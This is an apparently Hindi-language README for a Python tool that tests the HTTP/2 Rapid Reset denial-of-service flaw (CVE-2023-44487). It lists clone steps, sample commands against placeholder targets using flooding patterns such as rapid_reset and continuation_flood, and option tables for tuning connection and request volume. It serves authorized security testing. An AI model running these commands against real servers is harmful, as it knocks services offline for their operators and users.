
CVE-2023-44487 (HTTP/2 Rapid Reset) के लिए Python-आधारित परीक्षण उपकरण, जिसमें कई हमले के पैटर्न, विस्तृत कॉन्फ़िगरेशन और अधिकृत सुरक्षा मूल्यांकन के लिए निगरानी शामिल है।
CVE-2023-44487, HTTP/2 Rapid Reset भेद्यता के लिए एक व्यापक Python परीक्षण उपकरण। यह उन्नत संस्करण परीक्षण मापदंडों पर सूक्ष्म नियंत्रण, कई हमले पैटर्न और उन्नत निगरानी क्षमताएं प्रदान करता है।
यह उपकरण केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है!
CVE-2023-44487, जिसे "HTTP/2 Rapid Reset" के रूप में भी जाना जाता है, HTTP/2 प्रोटोकॉल में एक गंभीर भेद्यता है जो हमलावरों को अनुमति देती है:
CVSS स्कोर: 7.5 (उच्च)
प्रभाव: Denial of Service, संसाधन क्षरण
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # 3.7+ होना चाहिए
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
-c, --connections N | समवर्ती कनेक्शन की संख्या | 1 |
--connection-timeout SEC | सेकंड में कनेक्शन टाइमआउट | 10 |
--read-timeout SEC | प्रतिक्रियाओं के लिए रीड टाइमआउट | 5 |
--connection-delay SEC | कनेक्शन के बीच विलंब | 0.0 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
-r, --requests N | प्रति कनेक्शन अनुरोध | 100 |
--delay SEC | HEADERS और RST_STREAM के बीच विलंब | 0.001 |
--request-delay SEC | अनुरोधों के बीच विलंब | 0.0 |
--jitter FACTOR | समय यादृच्छिकरण कारक | 0.0 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--pattern TYPE | उपयोग करने के लिए हमले का पैटर्न | rapid_reset |
--burst-size N | प्रति बर्स्ट अनुरोध | 10 |
--burst-delay SEC | बर्स्ट के बीच विलंब | 0.1 |
उपलब्ध पैटर्न:
rapid_reset - मानक rapid reset हमलाburst_reset - बर्स्ट-आधारित हमलेgradual_reset - धीरे-धीरे बढ़ती दरrandom_reset - यादृच्छिक समयcontinuation_flood - CONTINUATION फ्रेम बाढ़mixed_pattern - पैटर्न का मिश्रण| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--window-size BYTES | HTTP/2 प्रारंभिक विंडो आकार | 65535 |
--frame-size BYTES | अधिकतम फ्रेम आकार | 16384 |
--header-table-size BYTES | HPACK हेडर तालिका आकार | 4096 |
--enable-push | HTTP/2 सर्वर पुश सक्षम करें | False |
--rst-error-code CODE | RST_STREAM त्रुटि कोड | 8 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--custom-headers HEADER | कस्टम हेडर (नाम: मान) | None |
--random-headers | यादृच्छिक हेडर उत्पन्न करें | False |
--header-count N | यादृच्छिक हेडर की संख्या | 5 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--randomize-streams | यादृच्छिक स्ट्रीम ID का उपयोग करें | False |
--priority-frames | प्राथमिकता जानकारी शामिल करें | False |
--continue-on-error | त्रुटियों के बाद जारी रखें | True |
--max-errors N | रोकने से पहले अधिकतम त्रुटियां | 10 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--track-latency | अनुरोध विलंबता ट्रैक करें | False |
--track-responses | सर्वर प्रतिक्रियाएं ट्रैक करें | False |
--monitor-memory | मेमोरी उपयोग की निगरानी करें | False |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--output FORMAT | आउटपुट प्रारूप | console |
--output-file FILE | आउटपुट फ़ाइल नाम | auto-generated |
--verbose, -v | विस्तृत आउटपुट | False |
--debug | डीबग लॉगिंग | False |
--log-file FILE | फ़ाइल में लॉग करें | None |
उपलब्ध आउटपुट प्रारूप:
console - मानव-पठनीय कंसोल आउटपुटjson - मशीन-पठनीय JSONcsv - स्प्रेडशीट-संगत CSVxml - संरचित XML प्रारूपयह उपकरण व्यापक परिणाम प्रदान करता है जिनमें शामिल हैं: